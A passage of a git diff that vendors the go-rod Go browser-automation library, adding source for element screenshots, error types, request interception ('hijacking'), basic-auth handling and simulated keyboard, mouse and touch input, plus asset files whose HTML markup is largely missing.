proto.PageCaptureScreenshotFormat, quality int) ([]byte, error) { + err := el.ScrollIntoView() + if err != nil { + return nil, err + } + + opts := &proto.PageCaptureScreenshot{ + Quality: gson.Int(quality), + Format: format, + } + + bin, err := el.page.Context(el.ctx).Screenshot(false, opts) + if err != nil { + return nil, err + } + + // so that it won't clip the css-transformed element + shape, err := el.Shape() + if err != nil { + return nil, err + } + + box := shape.Box() + + // TODO: proto.PageCaptureScreenshot has a Clip option, but it's buggy, so now we do in Go. + return utils.CropImage(bin, quality, + int(box.X), + int(box.Y), + int(box.Width), + int(box.Height), + ) +} + +// Release is a shortcut for [Page.Release] current element. +func (el *Element) Release() error { + return el.page.Context(el.ctx).Release(el.Object) +} + +// Remove the element from the page. +func (el *Element) Remove() error { + _, err := el.Eval(`() => this.remove()`) + if err != nil { + return err + } + return el.Release() +} + +// Call implements the [proto.Client]. +func (el *Element) Call(ctx context.Context, sessionID, methodName string, params interface{}) (res []byte, err error) { + return el.page.Call(ctx, sessionID, methodName, params) +} + +// Eval is a shortcut for [Element.Evaluate] with AwaitPromise, ByValue and AutoExp set to true. +func (el *Element) Eval(js string, params ...interface{}) (*proto.RuntimeRemoteObject, error) { + return el.Evaluate(Eval(js, params...).ByPromise()) +} + +// Evaluate is just a shortcut of [Page.Evaluate] with This set to current element. +func (el *Element) Evaluate(opts *EvalOptions) (*proto.RuntimeRemoteObject, error) { + return el.page.Context(el.ctx).Evaluate(opts.This(el.Object)) +} + +// Equal checks if the two elements are equal. +func (el *Element) Equal(elm *Element) (bool, error) { + res, err := el.Eval(`elm => this === elm`, elm.Object) + return res.Value.Bool(), err +} + +func (el *Element) id() proto.RuntimeRemoteObjectID { + return el.Object.ObjectID +} + +// GetXPath returns the xpath of the element. +func (el *Element) GetXPath(optimized bool) (string, error) { + str, err := el.Evaluate(evalHelper(js.GetXPath, optimized)) + if err != nil { + return "", err + } + return str.Value.String(), nil +} diff --git a/backend/vendor/github.com/go-rod/rod/error.go b/backend/vendor/github.com/go-rod/rod/error.go new file mode 100644 index 0000000..c6a43c0 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/error.go @@ -0,0 +1,193 @@ +package rod + +import ( + "context" + "fmt" + + "github.com/go-rod/rod/lib/proto" + "github.com/go-rod/rod/lib/utils" +) + +// TryError error. +type TryError struct { + Value interface{} + Stack string +} + +func (e *TryError) Error() string { + return fmt.Sprintf("error value: %#v\n%s", e.Value, e.Stack) +} + +// Is interface. +func (e *TryError) Is(err error) bool { _, ok := err.(*TryError); return ok } + +// Unwrap stdlib interface. +func (e *TryError) Unwrap() error { + if err, ok := e.Value.(error); ok { + return err + } + return fmt.Errorf("%v", e.Value) +} + +// ExpectElementError error. +type ExpectElementError struct { + *proto.RuntimeRemoteObject +} + +func (e *ExpectElementError) Error() string { + return fmt.Sprintf("expect js to return an element, but got: %s", utils.MustToJSON(e)) +} + +// Is interface. +func (e *ExpectElementError) Is(err error) bool { _, ok := err.(*ExpectElementError); return ok } + +// ExpectElementsError error. +type ExpectElementsError struct { + *proto.RuntimeRemoteObject +} + +func (e *ExpectElementsError) Error() string { + return fmt.Sprintf("expect js to return an array of elements, but got: %s", utils.MustToJSON(e)) +} + +// Is interface. +func (e *ExpectElementsError) Is(err error) bool { _, ok := err.(*ExpectElementsError); return ok } + +// ElementNotFoundError error. +type ElementNotFoundError struct{} + +func (e *ElementNotFoundError) Error() string { + return "cannot find element" +} + +// NotFoundSleeper returns ErrElementNotFound on the first call. +func NotFoundSleeper() utils.Sleeper { + return func(context.Context) error { + return &ElementNotFoundError{} + } +} + +// ObjectNotFoundError error. +type ObjectNotFoundError struct { + *proto.RuntimeRemoteObject +} + +func (e *ObjectNotFoundError) Error() string { + return fmt.Sprintf("cannot find object: %s", utils.MustToJSON(e)) +} + +// Is interface. +func (e *ObjectNotFoundError) Is(err error) bool { _, ok := err.(*ObjectNotFoundError); return ok } + +// EvalError error. +type EvalError struct { + *proto.RuntimeExceptionDetails +} + +func (e *EvalError) Error() string { + exp := e.Exception + return fmt.Sprintf("eval js error: %s %s", exp.Description, exp.Value) +} + +// Is interface. +func (e *EvalError) Is(err error) bool { _, ok := err.(*EvalError); return ok } + +// NavigationError error. +type NavigationError struct { + Reason string +} + +func (e *NavigationError) Error() string { + return "navigation failed: " + e.Reason +} + +// Is interface. +func (e *NavigationError) Is(err error) bool { _, ok := err.(*NavigationError); return ok } + +// PageCloseCanceledError error. +type PageCloseCanceledError struct{} + +func (e *PageCloseCanceledError) Error() string { + return "page close canceled" +} + +// NotInteractableError error. Check the doc of Element.Interactable for details. +type NotInteractableError struct{} + +func (e *NotInteractableError) Error() string { + return "element is not cursor interactable" +} + +// InvisibleShapeError error. +type InvisibleShapeError struct { + *Element +} + +// Error ... +func (e *InvisibleShapeError) Error() string { + return fmt.Sprintf("element has no visible shape or outside the viewport: %s", e.String()) +} + +// Is interface. +func (e *InvisibleShapeError) Is(err error) bool { _, ok := err.(*InvisibleShapeError); return ok } + +// Unwrap ... +func (e *InvisibleShapeError) Unwrap() error { + return &NotInteractableError{} +} + +// CoveredError error. +type CoveredError struct { + *Element +} + +// Error ... +func (e *CoveredError) Error() string { + return fmt.Sprintf("element covered by: %s", e.String()) +} + +// Unwrap ... +func (e *CoveredError) Unwrap() error { + return &NotInteractableError{} +} + +// Is interface. +func (e *CoveredError) Is(err error) bool { _, ok := err.(*CoveredError); return ok } + +// NoPointerEventsError error. +type NoPointerEventsError struct { + *Element +} + +// Error ... +func (e *NoPointerEventsError) Error() string { + return fmt.Sprintf("element's pointer-events is none: %s", e.String()) +} + +// Unwrap ... +func (e *NoPointerEventsError) Unwrap() error { + return &NotInteractableError{} +} + +// Is interface. +func (e *NoPointerEventsError) Is(err error) bool { _, ok := err.(*NoPointerEventsError); return ok } + +// PageNotFoundError error. +type PageNotFoundError struct{} + +func (e *PageNotFoundError) Error() string { + return "cannot find page" +} + +// NoShadowRootError error. +type NoShadowRootError struct { + *Element +} + +// Error ... +func (e *NoShadowRootError) Error() string { + return fmt.Sprintf("element has no shadow root: %s", e.String()) +} + +// Is interface. +func (e *NoShadowRootError) Is(err error) bool { _, ok := err.(*NoShadowRootError); return ok } diff --git a/backend/vendor/github.com/go-rod/rod/go.work b/backend/vendor/github.com/go-rod/rod/go.work new file mode 100644 index 0000000..a97f3b4 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/go.work @@ -0,0 +1,8 @@ +go 1.22 + +use ( + . + ./lib/examples/custom-websocket + ./lib/examples/e2e-testing + ./lib/utils/check-issue +) diff --git a/backend/vendor/github.com/go-rod/rod/go.work.sum b/backend/vendor/github.com/go-rod/rod/go.work.sum new file mode 100644 index 0000000..c5ed75a --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/go.work.sum @@ -0,0 +1,4 @@ +github.com/ysmood/fetchup v0.2.1 h1:n/NgIx92KOXFiKAhK3d+LlKpl8JuSjh5U27ULmHKtag= +github.com/ysmood/fetchup v0.2.1/go.mod h1:94ROLWpn5fmCD4LPlcZ+LOE/iE/kRTU3kL+0ue/V+Os= +github.com/ysmood/got v0.33.2 h1:mz0PaCMzR//YBtDDkDf6z0O09SfotXBHzw3zLrrS2sw= +github.com/ysmood/got v0.33.2/go.mod h1:P3C/Wwttv4uq/tpovaH+c8ANmHePyFPxEbNzdxcEGDU= diff --git a/backend/vendor/github.com/go-rod/rod/hijack.go b/backend/vendor/github.com/go-rod/rod/hijack.go new file mode 100644 index 0000000..477dd99 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/hijack.go @@ -0,0 +1,430 @@ +package rod + +import ( + "bytes" + "context" + "io" + "net/http" + "net/url" + "regexp" + "strings" + + "github.com/go-rod/rod/lib/proto" + "github.com/go-rod/rod/lib/utils" + "github.com/ysmood/gson" +) + +// HijackRequests same as Page.HijackRequests, but can intercept requests of the entire browser. +func (b *Browser) HijackRequests() *HijackRouter { + return newHijackRouter(b, b).initEvents() +} + +// HijackRequests creates a new router instance for requests hijacking. +// When use Fetch domain outside the router should be stopped. Enabling hijacking disables page caching, +// but such as 304 Not Modified will still work as expected. +// The entire process of hijacking one request: +// +// browser --req-> rod ---> server ---> rod --res-> browser +// +// The --req-> and --res-> are the parts that can be modified. +func (p *Page) HijackRequests() *HijackRouter { + return newHijackRouter(p.browser, p).initEvents() +} + +// HijackRouter context. +type HijackRouter struct { + run func() + stop func() + handlers []*hijackHandler + enable *proto.FetchEnable + client proto.Client + browser *Browser +} + +func newHijackRouter(browser *Browser, client proto.Client) *HijackRouter { + return &HijackRouter{ + enable: &proto.FetchEnable{}, + browser: browser, + client: client, + handlers: []*hijackHandler{}, + } +} + +func (r *HijackRouter) initEvents() *HijackRouter { //nolint: gocognit + ctx := r.browser.ctx + if cta, ok := r.client.(proto.Contextable); ok { + ctx = cta.GetContext() + } + + var sessionID proto.TargetSessionID + if tsa, ok := r.client.(proto.Sessionable); ok { + sessionID = tsa.GetSessionID() + } + + eventCtx, cancel := context.WithCancel(ctx) + r.stop = cancel + + _ = r.enable.Call(r.client) + + r.run = r.browser.Context(eventCtx).eachEvent(sessionID, func(e *proto.FetchRequestPaused) bool { + go func() { + ctx := r.new(eventCtx, e) + for _, h := range r.handlers { + if !h.regexp.MatchString(e.Request.URL) { + continue + } + + h.handler(ctx) + + if ctx.continueRequest != nil { + ctx.continueRequest.RequestID = e.RequestID + err := ctx.continueRequest.Call(r.client) + if err != nil { + ctx.OnError(err) + } + return + } + + if ctx.Skip { + continue + } + + if ctx.Response.fail.ErrorReason != "" { + err := ctx.Response.fail.Call(r.client) + if err != nil { + ctx.OnError(err) + } + return + } + + err := ctx.Response.payload.Call(r.client) + if err != nil { + ctx.OnError(err) + return + } + } + }() + + return false + }) + return r +} + +// Add a hijack handler to router, the doc of the pattern is the same as "proto.FetchRequestPattern.URLPattern". +func (r *HijackRouter) Add(pattern string, resourceType proto.NetworkResourceType, handler func(*Hijack)) error { + r.enable.Patterns = append(r.enable.Patterns, &proto.FetchRequestPattern{ + URLPattern: pattern, + ResourceType: resourceType, + }) + + reg := regexp.MustCompile(proto.PatternToReg(pattern)) + + r.handlers = append(r.handlers, &hijackHandler{ + pattern: pattern, + regexp: reg, + handler: handler, + }) + + return r.enable.Call(r.client) +} + +// Remove handler via the pattern. +func (r *HijackRouter) Remove(pattern string) error { + patterns := []*proto.FetchRequestPattern{} + handlers := []*hijackHandler{} + for _, h := range r.handlers { + if h.pattern != pattern { + patterns = append(patterns, &proto.FetchRequestPattern{URLPattern: h.pattern}) + handlers = append(handlers, h) + } + } + r.enable.Patterns = patterns + r.handlers = handlers + + return r.enable.Call(r.client) +} + +// new context. +func (r *HijackRouter) new(ctx context.Context, e *proto.FetchRequestPaused) *Hijack { + headers := http.Header{} + for k, v := range e.Request.Headers { + headers[k] = []string{v.String()} + } + + u, _ := url.Parse(e.Request.URL) + + req := &http.Request{ + Method: e.Request.Method, + URL: u, + Body: io.NopCloser(strings.NewReader(e.Request.PostData)), + Header: headers, + } + + return &Hijack{ + Request: &HijackRequest{ + event: e, + req: req.WithContext(ctx), + }, + Response: &HijackResponse{ + payload: &proto.FetchFulfillRequest{ + ResponseCode: 200, + RequestID: e.RequestID, + }, + fail: &proto.FetchFailRequest{ + RequestID: e.RequestID, + }, + }, + OnError: func(_ error) {}, + + browser: r.browser, + } +} + +// Run the router, after you call it, you shouldn't add new handler to it. +func (r *HijackRouter) Run() { + r.run() +} + +// Stop the router. +func (r *HijackRouter) Stop() error { + r.stop() + return proto.FetchDisable{}.Call(r.client) +} + +// hijackHandler to handle each request that match the regexp. +type hijackHandler struct { + pattern string + regexp *regexp.Regexp + handler func(*Hijack) +} + +// Hijack context. +type Hijack struct { + Request *HijackRequest + Response *HijackResponse + OnError func(error) + + // Skip to next handler + Skip bool + + continueRequest *proto.FetchContinueRequest + + // CustomState is used to store things for this context + CustomState interface{} + + browser *Browser +} + +// ContinueRequest without hijacking. The RequestID will be set by the router, you don't have to set it. +func (h *Hijack) ContinueRequest(cq *proto.FetchContinueRequest) { + h.continueRequest = cq +} + +// LoadResponse will send request to the real destination and load the response as default response to override. +func (h *Hijack) LoadResponse(client *http.Client, loadBody bool) error { + res, err := client.Do(h.Request.req) + if err != nil { + return err + } + + defer func() { _ = res.Body.Close() }() + + h.Response.payload.ResponseCode = res.StatusCode + h.Response.RawResponse = res + + for k, vs := range res.Header { + for _, v := range vs { + h.Response.SetHeader(k, v) + } + } + + if loadBody { + b, err := io.ReadAll(res.Body) + if err != nil { + return err + } + h.Response.payload.Body = b + } + + return nil +} + +// HijackRequest context. +type HijackRequest struct { + event *proto.FetchRequestPaused + req *http.Request +} + +// Type of the resource. +func (ctx *HijackRequest) Type() proto.NetworkResourceType { + return ctx.event.ResourceType +} + +// Method of the request. +func (ctx *HijackRequest) Method() string { + return ctx.event.Request.Method +} + +// URL of the request. +func (ctx *HijackRequest) URL() *url.URL { + u, _ := url.Parse(ctx.event.Request.URL) + return u +} + +// Header via a key. +func (ctx *HijackRequest) Header(key string) string { + return ctx.event.Request.Headers[key].String() +} + +// Headers of request. +func (ctx *HijackRequest) Headers() proto.NetworkHeaders { + return ctx.event.Request.Headers +} + +// Body of the request, devtools API doesn't support binary data yet, only string can be captured. +func (ctx *HijackRequest) Body() string { + return ctx.event.Request.PostData +} + +// JSONBody of the request. +func (ctx *HijackRequest) JSONBody() gson.JSON { + return gson.NewFrom(ctx.Body()) +} + +// Req returns the underlying http.Request instance that will be used to send the request. +func (ctx *HijackRequest) Req() *http.Request { + return ctx.req +} + +// SetContext of the underlying http.Request instance. +func (ctx *HijackRequest) SetContext(c context.Context) *HijackRequest { + ctx.req = ctx.req.WithContext(c) + return ctx +} + +// SetBody of the request, if obj is []byte or string, raw body will be used, else it will be encoded as json. +func (ctx *HijackRequest) SetBody(obj interface{}) *HijackRequest { + var b []byte + + switch body := obj.(type) { + case []byte: + b = body + case string: + b = []byte(body) + default: + b = utils.MustToJSONBytes(body) + } + + ctx.req.Body = io.NopCloser(bytes.NewBuffer(b)) + + return ctx +} + +// IsNavigation determines whether the request is a navigation request. +func (ctx *HijackRequest) IsNavigation() bool { + return ctx.Type() == proto.NetworkResourceTypeDocument +} + +// HijackResponse context. +type HijackResponse struct { + payload *proto.FetchFulfillRequest + RawResponse *http.Response + fail *proto.FetchFailRequest +} + +// Payload to respond the request from the browser. +func (ctx *HijackResponse) Payload() *proto.FetchFulfillRequest { + return ctx.payload +} + +// Body of the payload. +func (ctx *HijackResponse) Body() string { + return string(ctx.payload.Body) +} + +// Headers returns the clone of response headers. +// If you want to modify the response headers use HijackResponse.SetHeader . +func (ctx *HijackResponse) Headers() http.Header { + header := http.Header{} + + for _, h := range ctx.payload.ResponseHeaders { + header.Add(h.Name, h.Value) + } + + return header +} + +// SetHeader of the payload via key-value pairs. +func (ctx *HijackResponse) SetHeader(pairs ...string) *HijackResponse { + for i := 0; i < len(pairs); i += 2 { + ctx.payload.ResponseHeaders = append(ctx.payload.ResponseHeaders, &proto.FetchHeaderEntry{ + Name: pairs[i], + Value: pairs[i+1], + }) + } + return ctx +} + +// SetBody of the payload, if obj is []byte or string, raw body will be used, else it will be encoded as json. +func (ctx *HijackResponse) SetBody(obj interface{}) *HijackResponse { + switch body := obj.(type) { + case []byte: + ctx.payload.Body = body + case string: + ctx.payload.Body = []byte(body) + default: + ctx.payload.Body = utils.MustToJSONBytes(body) + } + return ctx +} + +// Fail request. +func (ctx *HijackResponse) Fail(reason proto.NetworkErrorReason) *HijackResponse { + ctx.fail.ErrorReason = reason + return ctx +} + +// HandleAuth for the next basic HTTP authentication. +// It will prevent the popup that requires user to input user name and password. +// Ref: https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication +func (b *Browser) HandleAuth(username, password string) func() error { + enable := b.DisableDomain("", &proto.FetchEnable{}) + disable := b.EnableDomain("", &proto.FetchEnable{ + HandleAuthRequests: true, + }) + + paused := &proto.FetchRequestPaused{} + auth := &proto.FetchAuthRequired{} + + ctx, cancel := context.WithCancel(b.ctx) + waitPaused := b.Context(ctx).WaitEvent(paused) + waitAuth := b.Context(ctx).WaitEvent(auth) + + return func() (err error) { + defer enable() + defer disable() + defer cancel() + + waitPaused() + + err = proto.FetchContinueRequest{ + RequestID: paused.RequestID, + }.Call(b) + if err != nil { + return + } + + waitAuth() + + err = proto.FetchContinueWithAuth{ + RequestID: auth.RequestID, + AuthChallengeResponse: &proto.FetchAuthChallengeResponse{ + Response: proto.FetchAuthChallengeResponseResponseProvideCredentials, + Username: username, + Password: password, + }, + }.Call(b) + + return + } +} diff --git a/backend/vendor/github.com/go-rod/rod/input.go b/backend/vendor/github.com/go-rod/rod/input.go new file mode 100644 index 0000000..c7d3f9f --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/input.go @@ -0,0 +1,457 @@ +package rod + +import ( + "fmt" + "sync" + + "github.com/go-rod/rod/lib/input" + "github.com/go-rod/rod/lib/proto" + "github.com/go-rod/rod/lib/utils" + "github.com/ysmood/gson" +) + +// Keyboard represents the keyboard on a page, it's always related the main frame. +type Keyboard struct { + sync.Mutex + + page *Page + + // pressed keys must be released before it can be pressed again + pressed map[input.Key]struct{} +} + +func (p *Page) newKeyboard() *Page { + p.Keyboard = &Keyboard{page: p, pressed: map[input.Key]struct{}{}} + return p +} + +func (k *Keyboard) getModifiers() int { + k.Lock() + defer k.Unlock() + return k.modifiers() +} + +func (k *Keyboard) modifiers() int { + ms := 0 + for key := range k.pressed { + ms |= key.Modifier() + } + return ms +} + +// Press the key down. +// To input characters that are not on the keyboard, such as Chinese or Japanese, you should +// use method like [Page.InsertText]. +func (k *Keyboard) Press(key input.Key) error { + defer k.page.tryTrace(TraceTypeInput, "press key: "+key.Info().Code)() + k.page.browser.trySlowMotion() + + k.Lock() + defer k.Unlock() + + k.pressed[key] = struct{}{} + + return key.Encode(proto.InputDispatchKeyEventTypeKeyDown, k.modifiers()).Call(k.page) +} + +// Release the key. +func (k *Keyboard) Release(key input.Key) error { + defer k.page.tryTrace(TraceTypeInput, "release key: "+key.Info().Code)() + + k.Lock() + defer k.Unlock() + + if _, has := k.pressed[key]; !has { + return nil + } + + delete(k.pressed, key) + + return key.Encode(proto.InputDispatchKeyEventTypeKeyUp, k.modifiers()).Call(k.page) +} + +// Type releases the key after the press. +func (k *Keyboard) Type(keys ...input.Key) (err error) { + for _, key := range keys { + err = k.Press(key) + if err != nil { + return + } + err = k.Release(key) + if err != nil { + return + } + } + return +} + +// KeyActionType enum. +type KeyActionType int + +// KeyActionTypes. +const ( + KeyActionPress KeyActionType = iota + KeyActionRelease + KeyActionTypeKey +) + +// KeyAction to perform. +type KeyAction struct { + Type KeyActionType + Key input.Key +} + +// KeyActions to simulate. +type KeyActions struct { + keyboard *Keyboard + + Actions []KeyAction +} + +// KeyActions simulates the type actions on a physical keyboard. +// Useful when input shortcuts like ctrl+enter . +func (p *Page) KeyActions() *KeyActions { + return &KeyActions{keyboard: p.Keyboard} +} + +// Press keys is guaranteed to have a release at the end of actions. +func (ka *KeyActions) Press(keys ...input.Key) *KeyActions { + for _, key := range keys { + ka.Actions = append(ka.Actions, KeyAction{KeyActionPress, key}) + } + return ka +} + +// Release keys. +func (ka *KeyActions) Release(keys ...input.Key) *KeyActions { + for _, key := range keys { + ka.Actions = append(ka.Actions, KeyAction{KeyActionRelease, key}) + } + return ka +} + +// Type will release the key immediately after the pressing. +func (ka *KeyActions) Type(keys ...input.Key) *KeyActions { + for _, key := range keys { + ka.Actions = append(ka.Actions, KeyAction{KeyActionTypeKey, key}) + } + return ka +} + +// Do the actions. +func (ka *KeyActions) Do() (err error) { + for _, a := range ka.balance() { + switch a.Type { + case KeyActionPress: + err = ka.keyboard.Press(a.Key) + case KeyActionRelease: + err = ka.keyboard.Release(a.Key) + case KeyActionTypeKey: + err = ka.keyboard.Type(a.Key) + } + if err != nil { + return + } + } + return +} + +// Make sure there's at least one release after the presses, such as: +// +// p1,p2,p1,r1 => p1,p2,p1,r1,r2 +func (ka *KeyActions) balance() []KeyAction { + actions := ka.Actions + + h := map[input.Key]bool{} + for _, a := range actions { + switch a.Type { + case KeyActionPress: + h[a.Key] = true + case KeyActionRelease, KeyActionTypeKey: + h[a.Key] = false + } + } + + for key, needRelease := range h { + if needRelease { + actions = append(actions, KeyAction{KeyActionRelease, key}) + } + } + + return actions +} + +// InsertText is like pasting text into the page. +func (p *Page) InsertText(text string) error { + defer p.tryTrace(TraceTypeInput, "insert text "+text)() + p.browser.trySlowMotion() + + err := proto.InputInsertText{Text: text}.Call(p) + return err +} + +// Mouse represents the mouse on a page, it's always related the main frame. +type Mouse struct { + sync.Mutex + + page *Page + + id string // mouse svg dom element id + + pos proto.Point + + // the buttons is currently being pressed, reflects the press order + buttons []proto.InputMouseButton +} + +func (p *Page) newMouse() *Page { + p.Mouse = &Mouse{page: p, id: utils.RandString(8)} + return p +} + +// Position of current cursor. +func (m *Mouse) Position() proto.Point { + m.Lock() + defer m.Unlock() + return m.pos +} + +// MoveTo the absolute position. +func (m *Mouse) MoveTo(p proto.Point) error { + m.Lock() + defer m.Unlock() + + button, buttons := input.EncodeMouseButton(m.buttons) + + m.page.browser.trySlowMotion() + + err := proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseMoved, + X: p.X, + Y: p.Y, + Button: button, + Buttons: gson.Int(buttons), + Modifiers: m.page.Keyboard.getModifiers(), + }.Call(m.page) + if err != nil { + return err + } + + // to make sure set only when call is successful + m.pos = p + + if m.page.browser.trace { + if !m.updateMouseTracer() { + m.initMouseTracer() + m.updateMouseTracer() + } + } + + return nil +} + +// MoveAlong the guide function. +// Every time the guide function is called it should return the next mouse position, return true to stop. +// Read the source code of [Mouse.MoveLinear] as an example to use this method. +func (m *Mouse) MoveAlong(guide func() (proto.Point, bool)) error { + for { + p, stop := guide() + if stop { + return m.MoveTo(p) + } + + err := m.MoveTo(p) + if err != nil { + return err + } + } +} + +// MoveLinear to the absolute position with the given steps. +// Such as move from (0,0) to (6,6) with 3 steps, the mouse will first move to (2,2) then (4,4) then (6,6). +func (m *Mouse) MoveLinear(to proto.Point, steps int) error { + p := m.Position() + step := to.Minus(p).Scale(1 / float64(steps)) + count := 0 + + return m.MoveAlong(func() (proto.Point, bool) { + count++ + if count == steps { + return to, true + } + + p = p.Add(step) + return p, false + }) +} + +// Scroll the relative offset with specified steps. +func (m *Mouse) Scroll(offsetX, offsetY float64, steps int) error { + m.Lock() + defer m.Unlock() + + defer m.page.tryTrace(TraceTypeInput, fmt.Sprintf("scroll (%.2f, %.2f)", offsetX, offsetY))() + m.page.browser.trySlowMotion() + + if steps < 1 { + steps = 1 + } + + button, buttons := input.EncodeMouseButton(m.buttons) + + stepX := offsetX / float64(steps) + stepY := offsetY / float64(steps) + + for i := 0; i < steps; i++ { + err := proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseWheel, + Button: button, + Buttons: gson.Int(buttons), + Modifiers: m.page.Keyboard.getModifiers(), + DeltaX: stepX, + DeltaY: stepY, + X: m.pos.X, + Y: m.pos.Y, + }.Call(m.page) + if err != nil { + return err + } + } + + return nil +} + +// Down holds the button down. +func (m *Mouse) Down(button proto.InputMouseButton, clickCount int) error { + m.Lock() + defer m.Unlock() + + toButtons := append(append([]proto.InputMouseButton{}, m.buttons...), button) + + _, buttons := input.EncodeMouseButton(toButtons) + + err := proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMousePressed, + Button: button, + Buttons: gson.Int(buttons), + ClickCount: clickCount, + Modifiers: m.page.Keyboard.getModifiers(), + X: m.pos.X, + Y: m.pos.Y, + }.Call(m.page) + if err != nil { + return err + } + m.buttons = toButtons + return nil +} + +// Up releases the button. +func (m *Mouse) Up(button proto.InputMouseButton, clickCount int) error { + m.Lock() + defer m.Unlock() + + toButtons := []proto.InputMouseButton{} + for _, btn := range m.buttons { + if btn == button { + continue + } + toButtons = append(toButtons, btn) + } + + _, buttons := input.EncodeMouseButton(toButtons) + + err := proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseReleased, + Button: button, + Buttons: gson.Int(buttons), + ClickCount: clickCount, + Modifiers: m.page.Keyboard.getModifiers(), + X: m.pos.X, + Y: m.pos.Y, + }.Call(m.page) + if err != nil { + return err + } + m.buttons = toButtons + return nil +} + +// Click the button. It's the combination of [Mouse.Down] and [Mouse.Up]. +func (m *Mouse) Click(button proto.InputMouseButton, clickCount int) error { + m.page.browser.trySlowMotion() + + err := m.Down(button, clickCount) + if err != nil { + return err + } + + return m.Up(button, clickCount) +} + +// Touch presents a touch device, such as a hand with fingers, each finger is a [proto.InputTouchPoint]. +// Touch events is stateless, we use the struct here only as a namespace to make the API style unified. +type Touch struct { + page *Page +} + +func (p *Page) newTouch() *Page { + p.Touch = &Touch{page: p} + return p +} + +// Start a touch action. +func (t *Touch) Start(points ...*proto.InputTouchPoint) error { + // TODO: https://crbug.com/613219 + _ = t.page.WaitRepaint() + _ = t.page.WaitRepaint() + + return proto.InputDispatchTouchEvent{ + Type: proto.InputDispatchTouchEventTypeTouchStart, + TouchPoints: points, + Modifiers: t.page.Keyboard.getModifiers(), + }.Call(t.page) +} + +// Move touch points. Use the [proto.InputTouchPoint.ID] (Touch.identifier) to track points. +// Doc: https://developer.mozilla.org/en-US/docs/Web/API/Touch_events +func (t *Touch) Move(points ...*proto.InputTouchPoint) error { + return proto.InputDispatchTouchEvent{ + Type: proto.InputDispatchTouchEventTypeTouchMove, + TouchPoints: points, + Modifiers: t.page.Keyboard.getModifiers(), + }.Call(t.page) +} + +// End touch action. +func (t *Touch) End() error { + return proto.InputDispatchTouchEvent{ + Type: proto.InputDispatchTouchEventTypeTouchEnd, + TouchPoints: []*proto.InputTouchPoint{}, + Modifiers: t.page.Keyboard.getModifiers(), + }.Call(t.page) +} + +// Cancel touch action. +func (t *Touch) Cancel() error { + return proto.InputDispatchTouchEvent{ + Type: proto.InputDispatchTouchEventTypeTouchCancel, + TouchPoints: []*proto.InputTouchPoint{}, + Modifiers: t.page.Keyboard.getModifiers(), + }.Call(t.page) +} + +// Tap dispatches a touchstart and touchend event. +func (t *Touch) Tap(x, y float64) error { + defer t.page.tryTrace(TraceTypeInput, "touch")() + t.page.browser.trySlowMotion() + + p := &proto.InputTouchPoint{X: x, Y: y} + + err := t.Start(p) + if err != nil { + return err + } + + return t.End() +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/assets/README.md b/backend/vendor/github.com/go-rod/rod/lib/assets/README.md new file mode 100644 index 0000000..2948ee3 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/assets/README.md @@ -0,0 +1,3 @@ +# Assets + +Static files for the project diff --git a/backend/vendor/github.com/go-rod/rod/lib/assets/assets.go b/backend/vendor/github.com/go-rod/rod/lib/assets/assets.go new file mode 100644 index 0000000..4dbb107 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/assets/assets.go @@ -0,0 +1,189 @@ +// Package assets is generated by "lib/assets/generate" +package assets + +// MousePointer for rod. +const MousePointer = ` + + + mouse-pointer + Created with Sketch. + + + + + + + + + + + + + + + + + +` + +// Monitor for rod. +const Monitor = ` + + Rod Monitor - Pages + + + +

Choose a Page to Monitor

+ +
+ + + + +` + +// MonitorPage for rod. +const MonitorPage = ` + + + + + +

+    
+  
+  
+
+`
diff --git a/backend/vendor/github.com/go-rod/rod/lib/assets/monitor-page.html b/backend/vendor/github.com/go-rod/rod/lib/assets/monitor-page.html
new file mode 100644
index 0000000..facff08
--- /dev/null
+++ b/backend/vendor/github.com/go-rod/rod/lib/assets/monitor-page.html
@@ -0,0 +1,103 @@
+
+  
+    
+  
+  
+    
+    

+    
+  
+  
+
diff --git a/backend/vendor/github.com/go-rod/rod/lib/assets/monitor.html b/backend/vendor/github.com/go-rod/rod/lib/assets/monitor.html
new file mode 100644
index 0000000..226c8eb
--- /dev/null
+++ b/backend/vendor/github.com/go-rod/rod/lib/assets/monitor.html
@@ -0,0 +1,53 @@
+
+  
+    Rod Monitor - Pages
+    
+  
+  
+    

Choose a Page to Monitor

+ +
+ + + + diff --git a/backend/vendor/github.com/go-rod/rod/lib/cdp/README.md b/backend/vendor/github.com/go-rod/rod/lib/cdp/README.md new file mode 100644 index 0000000..ba2ea0d --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/cdp/README.md @@ -0,0 +1,11 @@ +# Overview + +This client is directly based on this [doc](https://chromedevtools.github.io/devtools-protocol/). + +You can treat it as a minimal example of how to use the DevTools Protocol, no complex abstraction. + +It's thread-safe, and context first. + +For basic usage, check this [file](example_test.go). + +For more info, check the unit tests. diff --git a/backend/vendor/github.com/go-rod/rod/lib/cdp/client.go b/backend/vendor/github.com/go-rod/rod/lib/cdp/client.go new file mode 100644 index 0000000..42f3989 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/cdp/client.go @@ -0,0 +1,175 @@ +// Package cdp for application layer communication with browser. +package cdp + +import ( + "context" + "encoding/json" + "sync" + "sync/atomic" + + "github.com/go-rod/rod/lib/defaults" + "github.com/go-rod/rod/lib/utils" +) + +// Request to send to browser. +type Request struct { + ID int `json:"id"` + SessionID string `json:"sessionId,omitempty"` + Method string `json:"method"` + Params interface{} `json:"params,omitempty"` +} + +// Response from browser. +type Response struct { + ID int `json:"id"` + Result json.RawMessage `json:"result,omitempty"` + Error *Error `json:"error,omitempty"` +} + +// Event from browser. +type Event struct { + SessionID string `json:"sessionId,omitempty"` + Method string `json:"method"` + Params json.RawMessage `json:"params,omitempty"` +} + +// WebSocketable enables you to choose the websocket lib you want to use. +// Such as you can easily wrap gorilla/websocket and use it as the transport layer. +type WebSocketable interface { 